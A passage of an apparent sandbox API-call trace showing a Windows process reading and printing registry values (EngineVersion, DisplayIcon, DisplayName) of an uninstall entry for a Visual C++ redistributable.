lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.518] GetConsoleOutputCP () returned 0x1b5 [0149.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.518] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.518] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.518] __iob_func () returned 0x7fefd702a80 [0149.518] _fileno (_File=0x7fefd702ab0) returned 1 [0149.518] _errno () returned 0x204bb0 [0149.518] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.518] _errno () returned 0x204bb0 [0149.518] GetFileType (hFile=0x50) returned 0x1 [0149.518] lstrlenW (lpString="REG_SZ") returned 6 [0149.518] GetConsoleOutputCP () returned 0x1b5 [0149.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.518] GetConsoleOutputCP () returned 0x1b5 [0149.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.519] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.519] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.519] __iob_func () returned 0x7fefd702a80 [0149.519] _fileno (_File=0x7fefd702ab0) returned 1 [0149.519] _errno () returned 0x204bb0 [0149.519] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.519] _errno () returned 0x204bb0 [0149.519] GetFileType (hFile=0x50) returned 0x1 [0149.519] lstrlenW (lpString=" ") returned 4 [0149.519] GetConsoleOutputCP () returned 0x1b5 [0149.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.519] GetConsoleOutputCP () returned 0x1b5 [0149.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.519] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.519] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.519] __iob_func () returned 0x7fefd702a80 [0149.519] _fileno (_File=0x7fefd702ab0) returned 1 [0149.519] _errno () returned 0x204bb0 [0149.519] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.519] _errno () returned 0x204bb0 [0149.519] GetFileType (hFile=0x50) returned 0x1 [0149.519] lstrlenW (lpString="") returned 0 [0149.519] __iob_func () returned 0x7fefd702a80 [0149.519] _fileno (_File=0x7fefd702ab0) returned 1 [0149.519] _errno () returned 0x204bb0 [0149.519] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.519] _errno () returned 0x204bb0 [0149.519] GetFileType (hFile=0x50) returned 0x1 [0149.520] lstrlenW (lpString="\n") returned 1 [0149.520] GetConsoleOutputCP () returned 0x1b5 [0149.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.520] GetConsoleOutputCP () returned 0x1b5 [0149.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.520] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.520] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.520] GetProcessHeap () returned 0x3c0000 [0149.520] GetProcessHeap () returned 0x3c0000 [0149.520] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.520] GetProcessHeap () returned 0x3c0000 [0149.520] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0149.520] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.520] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EngineVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.520] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0149.520] GetProcessHeap () returned 0x3c0000 [0149.520] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c30 [0149.520] GetProcessHeap () returned 0x3c0000 [0149.520] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.520] GetProcessHeap () returned 0x3c0000 [0149.520] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0149.520] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="3.6.3542.0", pcbData=0x29f780*=0x16) returned 0x0 [0149.520] __iob_func () returned 0x7fefd702a80 [0149.520] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.520] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.520] _fileno (_File=0x7fefd702ab0) returned 1 [0149.520] _errno () returned 0x204bb0 [0149.520] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.521] _errno () returned 0x204bb0 [0149.521] GetFileType (hFile=0x50) returned 0x1 [0149.521] lstrlenW (lpString=" ") returned 4 [0149.521] GetConsoleOutputCP () returned 0x1b5 [0149.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.521] GetConsoleOutputCP () returned 0x1b5 [0149.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.521] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.521] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.521] lstrlenW (lpString="EngineVersion") returned 13 [0149.521] __iob_func () returned 0x7fefd702a80 [0149.521] _fileno (_File=0x7fefd702ab0) returned 1 [0149.521] _errno () returned 0x204bb0 [0149.521] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.521] _errno () returned 0x204bb0 [0149.521] GetFileType (hFile=0x50) returned 0x1 [0149.521] lstrlenW (lpString="EngineVersion") returned 13 [0149.521] GetConsoleOutputCP () returned 0x1b5 [0149.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.521] GetConsoleOutputCP () returned 0x1b5 [0149.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EngineVersion", lpUsedDefaultChar=0x0) returned 13 [0149.522] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.522] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.522] __iob_func () returned 0x7fefd702a80 [0149.522] _fileno (_File=0x7fefd702ab0) returned 1 [0149.522] _errno () returned 0x204bb0 [0149.522] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.522] _errno () returned 0x204bb0 [0149.522] GetFileType (hFile=0x50) returned 0x1 [0149.522] lstrlenW (lpString=" ") returned 4 [0149.522] GetConsoleOutputCP () returned 0x1b5 [0149.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.522] GetConsoleOutputCP () returned 0x1b5 [0149.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.522] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.522] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.522] __iob_func () returned 0x7fefd702a80 [0149.522] _fileno (_File=0x7fefd702ab0) returned 1 [0149.522] _errno () returned 0x204bb0 [0149.522] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.522] _errno () returned 0x204bb0 [0149.522] GetFileType (hFile=0x50) returned 0x1 [0149.522] lstrlenW (lpString="REG_SZ") returned 6 [0149.522] GetConsoleOutputCP () returned 0x1b5 [0149.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.523] GetConsoleOutputCP () returned 0x1b5 [0149.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.523] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.523] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.523] __iob_func () returned 0x7fefd702a80 [0149.523] _fileno (_File=0x7fefd702ab0) returned 1 [0149.523] _errno () returned 0x204bb0 [0149.523] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.523] _errno () returned 0x204bb0 [0149.523] GetFileType (hFile=0x50) returned 0x1 [0149.523] lstrlenW (lpString=" ") returned 4 [0149.523] GetConsoleOutputCP () returned 0x1b5 [0149.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.523] GetConsoleOutputCP () returned 0x1b5 [0149.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.523] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.523] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.523] __iob_func () returned 0x7fefd702a80 [0149.523] _fileno (_File=0x7fefd702ab0) returned 1 [0149.523] _errno () returned 0x204bb0 [0149.523] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.523] _errno () returned 0x204bb0 [0149.523] GetFileType (hFile=0x50) returned 0x1 [0149.523] lstrlenW (lpString="3.6.3542.0") returned 10 [0149.524] GetConsoleOutputCP () returned 0x1b5 [0149.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.6.3542.0", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.524] GetConsoleOutputCP () returned 0x1b5 [0149.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.6.3542.0", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.6.3542.0", lpUsedDefaultChar=0x0) returned 10 [0149.524] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.524] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.524] __iob_func () returned 0x7fefd702a80 [0149.524] _fileno (_File=0x7fefd702ab0) returned 1 [0149.524] _errno () returned 0x204bb0 [0149.524] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.524] _errno () returned 0x204bb0 [0149.524] GetFileType (hFile=0x50) returned 0x1 [0149.524] lstrlenW (lpString="\n") returned 1 [0149.524] GetConsoleOutputCP () returned 0x1b5 [0149.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.524] GetConsoleOutputCP () returned 0x1b5 [0149.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.524] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.524] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.524] GetProcessHeap () returned 0x3c0000 [0149.524] GetProcessHeap () returned 0x3c0000 [0149.524] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.525] GetProcessHeap () returned 0x3c0000 [0149.525] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0149.525] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.525] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.525] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xb0) returned 0x0 [0149.525] GetProcessHeap () returned 0x3c0000 [0149.525] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb2) returned 0x3e1c70 [0149.525] GetProcessHeap () returned 0x3c0000 [0149.525] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.525] GetProcessHeap () returned 0x3c0000 [0149.525] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb2 [0149.525] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xb0 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe,0", pcbData=0x29f780*=0xae) returned 0x0 [0149.525] __iob_func () returned 0x7fefd702a80 [0149.525] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.525] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.525] _fileno (_File=0x7fefd702ab0) returned 1 [0149.525] _errno () returned 0x204bb0 [0149.525] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.525] _errno () returned 0x204bb0 [0149.525] GetFileType (hFile=0x50) returned 0x1 [0149.525] lstrlenW (lpString=" ") returned 4 [0149.525] GetConsoleOutputCP () returned 0x1b5 [0149.525] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.525] GetConsoleOutputCP () returned 0x1b5 [0149.525] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.525] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.525] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.526] lstrlenW (lpString="DisplayIcon") returned 11 [0149.526] __iob_func () returned 0x7fefd702a80 [0149.526] _fileno (_File=0x7fefd702ab0) returned 1 [0149.526] _errno () returned 0x204bb0 [0149.526] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.526] _errno () returned 0x204bb0 [0149.526] GetFileType (hFile=0x50) returned 0x1 [0149.526] lstrlenW (lpString="DisplayIcon") returned 11 [0149.526] GetConsoleOutputCP () returned 0x1b5 [0149.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.526] GetConsoleOutputCP () returned 0x1b5 [0149.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0149.526] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.526] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.526] __iob_func () returned 0x7fefd702a80 [0149.526] _fileno (_File=0x7fefd702ab0) returned 1 [0149.526] _errno () returned 0x204bb0 [0149.526] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.526] _errno () returned 0x204bb0 [0149.526] GetFileType (hFile=0x50) returned 0x1 [0149.526] lstrlenW (lpString=" ") returned 4 [0149.526] GetConsoleOutputCP () returned 0x1b5 [0149.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.526] GetConsoleOutputCP () returned 0x1b5 [0149.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.527] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.527] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.527] __iob_func () returned 0x7fefd702a80 [0149.527] _fileno (_File=0x7fefd702ab0) returned 1 [0149.527] _errno () returned 0x204bb0 [0149.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.527] _errno () returned 0x204bb0 [0149.527] GetFileType (hFile=0x50) returned 0x1 [0149.527] lstrlenW (lpString="REG_SZ") returned 6 [0149.527] GetConsoleOutputCP () returned 0x1b5 [0149.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.527] GetConsoleOutputCP () returned 0x1b5 [0149.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.527] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.527] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.527] __iob_func () returned 0x7fefd702a80 [0149.527] _fileno (_File=0x7fefd702ab0) returned 1 [0149.527] _errno () returned 0x204bb0 [0149.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.527] _errno () returned 0x204bb0 [0149.527] GetFileType (hFile=0x50) returned 0x1 [0149.527] lstrlenW (lpString=" ") returned 4 [0149.527] GetConsoleOutputCP () returned 0x1b5 [0149.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.528] GetConsoleOutputCP () returned 0x1b5 [0149.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.528] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.528] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.528] __iob_func () returned 0x7fefd702a80 [0149.528] _fileno (_File=0x7fefd702ab0) returned 1 [0149.528] _errno () returned 0x204bb0 [0149.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.528] _errno () returned 0x204bb0 [0149.528] GetFileType (hFile=0x50) returned 0x1 [0149.528] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe,0") returned 86 [0149.528] GetConsoleOutputCP () returned 0x1b5 [0149.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe,0", cchWideChar=86, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 86 [0149.528] GetConsoleOutputCP () returned 0x1b5 [0149.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe,0", cchWideChar=86, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe,0", lpUsedDefaultChar=0x0) returned 86 [0149.528] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 86 [0149.528] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.528] __iob_func () returned 0x7fefd702a80 [0149.528] _fileno (_File=0x7fefd702ab0) returned 1 [0149.528] _errno () returned 0x204bb0 [0149.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.528] _errno () returned 0x204bb0 [0149.528] GetFileType (hFile=0x50) returned 0x1 [0149.528] lstrlenW (lpString="\n") returned 1 [0149.529] GetConsoleOutputCP () returned 0x1b5 [0149.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.529] GetConsoleOutputCP () returned 0x1b5 [0149.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.529] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.529] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.529] GetProcessHeap () returned 0x3c0000 [0149.529] GetProcessHeap () returned 0x3c0000 [0149.529] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.529] GetProcessHeap () returned 0x3c0000 [0149.529] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb2 [0149.529] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.529] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.529] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7c) returned 0x0 [0149.529] GetProcessHeap () returned 0x3c0000 [0149.529] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7e) returned 0x3db830 [0149.529] GetProcessHeap () returned 0x3c0000 [0149.529] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.529] GetProcessHeap () returned 0x3c0000 [0149.529] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7e [0149.529] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7c | out: pdwType=0x29f700*=0x1, pvData="Microsoft 